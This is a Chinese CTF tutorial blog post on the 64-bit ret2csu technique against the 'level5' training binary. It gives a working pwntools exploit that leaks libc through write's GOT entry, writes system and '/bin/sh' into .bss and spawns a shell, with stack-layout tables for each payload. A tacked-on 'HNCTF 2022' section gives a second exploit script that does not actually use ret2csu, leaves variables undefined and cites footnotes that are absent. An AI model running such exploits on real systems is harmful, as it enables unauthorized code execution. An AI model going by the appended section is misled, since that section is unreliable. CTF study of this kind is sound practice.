pwn中级ROP——ret2csu

本文详细解析了在64位程序环境中利用ret2csu技巧,尤其是__libc_csu_init函数来控制寄存器,实现函数参数的精确传递。涉及到了栈溢出漏洞分析、反汇编技术、计算偏移量以及payload构建。重点讨论了如何在有限条件下利用write和system函数进行权限提升的策略。

环境

ret2csu
在其中下载level5即可

原理

64位汇编语言函数传参

在一切开始之前,我们需要先了解一下64位汇编语言调用函数时是如何传参的,它与32位程序并不相同。

32位程序在调用函数时会将参数存入栈中

而64位程序在调用函数时,如果该函数参数少于7个,就会将参数从前往后依次存入rdi, rsi,rdx, rcx, r8, r9寄存器中。
如果该函数参数多于或等于7个,则前六个参数如上存放到寄存器中,剩余的参数会类似于32位程序存入栈中。

所以我们在利用64位程序栈溢出漏洞时,在调用函数之前需要将各个参数存入各个寄存器中才可顺利进行。那么我们该如何给这些寄存器赋值呢?按老样子用ROPgadgets来一个一个查找对应的pop指令吗?且不说能不能找到是个问题,就这样一个一个查找也未免过于麻烦。有没有一种简便的方法呢?

64位程序基本都有的一个函数__libc_csu_init可以帮我们解决这个问题。该函数有段这样的代码:

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

loc_400616中我们可以控制rbx,rbp,r12,r13,r14,r15(pop指令将栈顶弹入寄存器)
loc_400600中我们可以控制rdx,rsi,edi(间接通过r13,r14,r15来控制),而这里的rdx,rsi,edi正好是函数的前三个参数所需寄存器,不过edi只能控制函数的低32位,但也足以应付大部分函数

所以我们只需要先控制主函数返回到loc_400616,并在栈上从前往后构造每个寄存器想要赋予的值,然后在loc_400624对应的栈填上loc_400600,跳转到这一部分,通过刚才各寄存器构造的参数来给rdx,rsi,edi赋值,在loc_400609运行想要执行的函数,即可成功执行。

需要注意的是,如果我们还想在执行完这一函数后继续运行程序,就需要在loc_400611位置让rbxrbp相等,从而可以顺利执行到loc_400624返回到想要继续进行的函数。否则函数将跳到loc_400600循环执行这一部分。

漏洞分析

反汇编

这道题反汇编代码如下

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

可以看到在vulnerable_function函数中人read函数存在栈溢出漏洞,在该函数执行之前又执行了一次write函数,且在IDA中函数栏存在_write,所以我们可以利用ELF直接获得write函数GOT表内容并在_write进行输出,获得其GOT值,从而依靠LibcSearcher找到libc的基址,进而找到system函数地址进行提权。(类似于ret2libc3

由于这是x64程序,我们在调用write函数时需要先将其三个参数依次放入rdi, rsi,rdx寄存器中,这时我们__libc_csu_init了。

我们在IDA中点开该函数看一下,相关代码如下

.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

可以看到这里与上面原理处写得不太一样,区别就是下面的pop变成了mov,不过问题不大,只需要注意rsp的变化就可以,具体可以见payload

这道题我有两个问题

一个是我们在ret2libc3处可以直接利用libcsystemstr_bin_sh的地址构造payload,但这道题必须先将这两个放入bss段才能够进行调用

一个同样是在ret2libc3处我们是利用的str_bin_sh来作为参数传入system,但这道题我们只能直接用/bin/sh字符串作为参数

这两个问题我还没有搞清楚原因,如果有老哥可以解惑,感激不尽

计算偏移量

x64利用gdb计算偏移量时与x32有所不同
不同之处在于使用cyclic -l的地方,在我们r运行完并输入随机字符后,返回值如下
在这里插入图片描述
这时我们不能直接使用cyclic -l 0x6261616b6261616a来查找对应的位置,而需要使用

cyclic -l 0x6261616a

只能使用后四个字节来查找,如果使用前四个字节会使找到的偏移量多4

payload

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level="debug"

io = process('./level5')
elf = ELF('./level5')

write_got = p64(elf.got['write'])
start_addr = p64(elf.symbols['_start'])
gadget1_addr = p64(0x400606)
gadget2_addr = p64(0x4005F0)
payload = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + write_got + p64(1) + write_got + p64(8) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, World\n")
io.send(payload)
write_addr = u64(io.recv(8))
print('send 1')

libc = LibcSearcher("write",write_addr)
libcbase = write_addr - libc.dump("write")
sys_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")

read_got = p64(elf.got['read'])
bss_addr = elf.bss()
payload2 = 'a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + read_got + p64(0) + p64(bss_addr) + p64(16) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, World\n")
io.send(payload2)
io.send(p64(sys_addr) + '/bin/sh\00')
print('send 2')

payload3 ='a' * 136 + gadget1_addr + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0) + gadget2_addr + 'a' * 56 + start_addr
io.recvuntil("Hello, World\n")
io.send(payload3)
print('send 3')

io.interactive()

payload1

地址栈中数据
return前a * 136
main函数return(rsp)0x400606(gadget1)
rsp + 80(填充数据)
rsp + 16(rbx)0
rsp + 24(rbp)1
rsp + 32(r12)write_got_addr
rsp + 40(r13)1
rsp + 48(r14)write_got_addr
rsp + 56(r15)8
gadget1的return0x4005F0(gadget2)
新rspa * 8(填充)
新一轮的movea * 48(填充)
gadget2的returnstart_addr

这里rsp+8处填充0是因为在main函数返回到gadget1处时,rsp会自增8,导致此时rsp + 8处才是真正的rsp位置,这里的rsp只是针对于return处的值。
同理,下面的新rsp也是这个道理。

新一轮的move的意思是,在return之前我没还要进行那六个寄存器的mov操作,也就是上面rsp + 16 ~ rsp + 56这一串操作,这里赋值什么都不影响,我们所要利用的就是return,所以全部随便填充即可。

return返回的地方是start,也就是整个程序开始的地方,方便进行下一步操作

要注意两点

第一点是rbx在这里必须赋值为0,因为我们调用函数时执行的是这一行

.text:00000000004005F9                 call    qword ptr [r12+rbx*8]

rbx为0时才能直接跳到r12处,在第一轮赋值时把r12赋值为想要执行的函数地址即可

第二点是rbx必须为rbp - 1,因为下面这几行

.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0

想要不循环下去就必须使rbx + 1=rbp

payload2

地址栈中数据
return前a * 136
main函数return(rsp)gadget1
rsp + 80
rsp + 160
rsp + 241
rsp + 32read_got_addr
rsp + 400
rsp + 48bss_addr
rsp + 5616
gadget1的returngadget2_addr
a * 56
gadget2的returnstart_addr

payload2payload1大同小异,就是将要执行的函数替换成了read函数,从而将libc中system函数与/bin/sh字符串放入.bss段中

payload3

地址栈中数据
return前a * 136
main函数return(rsp)gadget1
rsp + 80
rsp + 160
rsp + 241
rsp + 32bss_addr(system函数)
rsp + 40bss_addr + 8(/bin/sh字符串)
rsp + 480
rsp + 560
gadget1的returngadget2_addr
a * 56
gadget2的returnstart_addr

payload3同样与之前的payload没什么大区别,就是运行了system函数来提权。这里后面的填充与gadget2return其实写不写无所谓,因为我们运行到system函数就已经获得了我们想要的结果,后面程序怎么运行与我们无关。

### HNCTF 2022 WEEK2 ret2csu Challenge Solution #### 利用ret2csu技术实现漏洞利用 在处理`HNCTF 2022 WEEK2`的`ret2csu`挑战时,目标是通过控制程序流来调用特定函数并最终执行任意命令。此方法依赖于对`.text`段内存在的gadget链的应用以及对动态链接过程的理解。 为了完成这一攻击向量,首先需要找到合适的gadgets用于操控寄存器状态,并且能够触发`__libc_csu_init()`函数内的逻辑路径,该部分代码负责初始化全局构造器数组,在某些情况下可用于间接调用其他库函数如`write()`或`read()`等[^4]。 具体来说: - 使用`pwndbg cyclic`工具生成模式字符串并向服务端发送以定位崩溃发生的确切位置;之后借助`pattern offset`确定偏移值以便后续操作。 - 构造payload时应考虑如何填充堆栈帧使得当返回至`__libc_csu_init`时能正确设置参数传递给想要调用的目标函数(比如`puts@plt`),进而泄漏出关键内存地址信息(例如`got.plt`表项)。这些数据对于计算实际加载基址至关重要,因为它们允许我们推断出整个共享对象映射范围的位置。 - 接下来就是准备第二个阶段的有效载荷——通常是一串精心设计过的字节序列,它会被解释成机器指令从而绕过保护机制达成目的。这里可以通过泄露得到的信息调整base指针指向所需功能入口处(像`system()`)再配合伪造参数列表达到远程代码执行的效果。 ```python from pwn import * context.arch = 'amd64' elf = ELF('./vuln') io = remote('target_ip', port) # 泄露 libc 地址 rop = ROP(elf) pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload_leak = flat({ offset: [ pop_rdi_ret, puts_got, puts_plt, main_function_address # 返回到main或其他安全地方继续运行 ] }) io.sendlineafter(prompt, payload_leak) leaked_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'Leaked puts address: {hex(leaked_puts)}') # 计算 system 和 binsh 的真实地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_str = next(libc.search(b'/bin/sh\x00')) + libc_base # 准备 final payload 执行 /bin/sh final_payload = flat({ offset: [ pop_rdi_ret, bin_sh_str, system_addr ] }) io.sendline(final_payload) io.interactive() ``` 上述脚本展示了如何构建一个完整的exploit流程,包括但不限于发现溢出点、获取必要的库版本细节、解析符号表条目直至最后成功获得shell访问权限[^2]。
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值